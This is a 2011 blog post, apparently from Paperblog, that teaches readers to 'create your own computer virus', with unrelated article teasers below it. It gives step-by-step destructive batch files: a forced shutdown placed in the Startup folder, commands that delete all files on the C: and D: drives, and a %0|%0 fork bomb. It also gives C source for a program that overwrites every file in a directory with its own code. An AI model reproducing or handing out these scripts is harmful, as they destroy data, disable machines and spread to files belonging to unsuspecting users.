Tech Magazine

Create Your Own Computer Virus(use It on Your Computer)

Posted on the 27 July 2011 by Techsea360 @techsea360

Create your own Computer virus(use it on your computer)Basic computer viruses are very advance and they can infect computer's boot sectors some can damage computer's RAM and CPU.But here we will create a basic batch file .
STEP1: Open Notepad.
STEP2: Write the following code precisely
         
             cd\
            shutdown -s -t 60

STEP3: Now save the file as "filename.BAT".Remember to save it inside the double quotation otherwise         notepad will append a .txt after the file name and it will not be a batch file.

STEP4: Now go to the file and copy the file.And now open start then Programs and files then startup and double click it.Then pest a shortcut of the file there and close it.
That's it you are done!!!
Next time the user starts the Window it will be shutdown automatically. 
**********************************************************************************
Now you can create a virus that delete all the file in a specific directory or format the entire drive.To do that follow the steps.
STEP1: Open Notepad
STEP2: Write the following code precisely.
               @Echo off
               Del C:\ *.*|y
               Del D:\*.*|y
STEP3: Now save the file as "filename.BAT".Remember to save it inside the double quotation otherwise         notepad will append a .txt after the file name and it will not be a batch file.
STEP4: Now go to the file and copy the file.And now open start then Programs and files then startup and double click it.Then pest a shortcut of the file there and close it.**********************************************************************************
This is the most deadliest batch virus i ever tested on my computer.IT HANGED MY 2.84GHz DUAL-CORE 2GB RAM. 
Create your own Computer virus(use it on your computer)STEP1: Open Notepad
STEP2: Write the following code precisely.
               @echo off
               %0|%0
STEP3: Now save the file as "filename.BAT".Remember to save it inside the double quotation otherwise         notepad will append a .txt after the file name and it will not be a batch file.
STEP4: Now go to the file and copy the file.And now open start then Programs and files then startup and double click it.Then pest a shortcut of the file there and close it.
**********************************************************************************
This one i found out and working like a magic.Actually it is a true example of virus that is self replicating.Note:Compile it it in TC++ Dev c++ will give error.

#include<stdio.h>

#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>
FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst("*.*",&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],"rb");
host=fopen(ffblk.ff_name,"rb+");
if(host==NULL) goto next;
x=89088;
printf("Infecting %s\n",ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf("DONE! (Total Files Infected= %d)",a);
end=clock();
printf("TIME TAKEN=%f SEC\n",
(end-st)/CLK_TCK);
getch();
}
**********************************************************************************

You Might Also Like :

Back to Featured Articles on Logo Paperblog

These articles might interest you :

  • I Can’t Even Today.

    Can’t Even Today.

    OMG. The world is coming to an end. All those movies and shows about an apocalyptic zombie world is more close to reality than it was just a few years ago. I... Read more

    The 20 June 2018 by   Midlifemargaritas
    LIFESTYLE
  • Bombardier Challenger 600

    Bombardier Challenger

    @ Moffett Federal Airfield, CA May 2018 One of Google’s business jets departs Moffett Field.  Google signed a $1.16 billion, 60-year lease deal it signed with... Read more

    The 20 June 2018 by   Htam
    PHOTOGRAPHY, SOCIETY
  • 10 Business Strategies From Self-Made Millionaires

    Business Strategies From Self-Made Millionaires

    Many of the entrepreneurs and new business owners I advise have a primary vision of becoming millionaires or greater, per the model of Facebook’s Mark... Read more

    The 20 June 2018 by   Martin Zwilling
    BUSINESS, CAREER
  • Anti Acne Gel: Tvakh Vs Biotique

    Anti Acne Gel: Tvakh Biotique

    The most annoying thing for a skin freak like me....Acne. I guess this is probably a never ending search where I may not be able to find a complete cure to my... Read more

    The 20 June 2018 by   Megha Saundaryasansar
    FASHION, HAIR & BEAUTY, LIFESTYLE
  • Crazy Bulk Review – Real Feedback, Ingredients & Detailed Analysis

    Crazy Bulk Review Real Feedback, Ingredients Detailed Analysis

    Heard of Crazy Bulk and want to know more about this popular brand of supplements? Crazy Bulk targets both male and females who want to lose weight, build muscl... Read more

    The 20 June 2018 by   Leesteve19
    SPORTS
  • How Art Helps Stories Forge A Stronger Emotional Connection

    Helps Stories Forge Stronger Emotional Connection

    Illustrations elevate a story by bringing it more fully to life. As in this med school tale, for example... Read more

    The 20 June 2018 by   Mrstrongest
    CREATIVITY, HUMOR
  • REITS Are Falling - Will This Continue?

    REITS have been falling lately and my portfolio was not spared either. There are a few reasons to this which I will simplify and explain in this article. Read more

    The 20 June 2018 by   Sgyounginvestment
    BUSINESS

Magazine